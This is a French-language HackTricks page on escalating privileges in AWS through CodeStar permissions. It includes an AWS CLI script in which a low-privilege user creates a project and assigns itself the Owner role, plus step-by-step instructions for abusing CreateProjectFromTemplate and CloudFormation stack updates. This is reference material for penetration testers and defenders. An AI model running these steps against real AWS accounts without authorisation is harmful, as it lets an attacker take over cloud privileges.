AWS - Codestar Privesc

Support HackTricks

Codestar

Vous pouvez trouver plus d'informations sur codestar dans :

iam:PassRole, codestar:CreateProject

Avec ces permissions, vous pouvez abuser d'un rôle IAM Codestar pour effectuer des actions arbitraires via un modèle cloudformation. Consultez la page suivante :

codestar:CreateProject, codestar:AssociateTeamMember

Cette technique utilise codestar:CreateProject pour créer un projet codestar, et codestar:AssociateTeamMember pour faire d'un utilisateur IAM le propriétaire d'un nouveau projet CodeStar, ce qui leur accordera une nouvelle politique avec quelques permissions supplémentaires.

PROJECT_NAME="supercodestar"

aws --profile "$NON_PRIV_PROFILE_USER" codestar create-project \
--name $PROJECT_NAME \
--id $PROJECT_NAME

echo "Waiting 1min to start the project"
sleep 60

USER_ARN=$(aws --profile "$NON_PRIV_PROFILE_USER" opsworks describe-my-user-profile | jq .UserProfile.IamUserArn | tr -d '"')

aws --profile "$NON_PRIV_PROFILE_USER" codestar associate-team-member \
--project-id $PROJECT_NAME \
--user-arn "$USER_ARN" \
--project-role "Owner" \
--remote-access-allowed

Si vous êtes déjà un membre du projet, vous pouvez utiliser la permission codestar:UpdateTeamMember pour mettre à jour votre rôle en tant que propriétaire au lieu de codestar:AssociateTeamMember.

Impact potentiel : Privesc à la politique codestar générée. Vous pouvez trouver un exemple de cette politique dans :

codestar:CreateProjectFromTemplate

  1. Créer un nouveau projet :

  • Utilisez l'action codestar:CreateProjectFromTemplate pour initier la création d'un nouveau projet.

  • Une fois la création réussie, l'accès est automatiquement accordé pour cloudformation:UpdateStack.

  • Cet accès cible spécifiquement une pile associée au rôle IAM CodeStarWorker-<nom de projet générique>-CloudFormation.

  1. Mettre à jour la pile cible :

  • Avec les permissions CloudFormation accordées, procédez à la mise à jour de la pile spécifiée.

  • Le nom de la pile conformera généralement à l'un des deux modèles :

  • awscodestar-<nom de projet générique>-infrastructure

  • awscodestar-<nom de projet générique>-lambda

  • Le nom exact dépend du modèle choisi (référez-vous au script d'exploitation d'exemple).

  1. Accès et permissions :

  • Après la mise à jour, vous obtenez les capacités assignées au rôle IAM CloudFormation lié à la pile.

  • Remarque : Cela ne fournit pas intrinsèquement des privilèges d'administrateur complets. Des ressources mal configurées supplémentaires dans l'environnement pourraient être nécessaires pour élever davantage les privilèges.

Pour plus d'informations, consultez la recherche originale : https://rhinosecuritylabs.com/aws/escalating-aws-iam-privileges-undocumented-codestar-api/. Vous pouvez trouver l'exploitation dans https://github.com/RhinoSecurityLabs/Cloud-Security-Research/blob/master/AWS/codestar_createprojectfromtemplate_privesc/CodeStarPrivEsc.py

Impact potentiel : Privesc au rôle IAM cloudformation.

Soutenir HackTricks

Last updated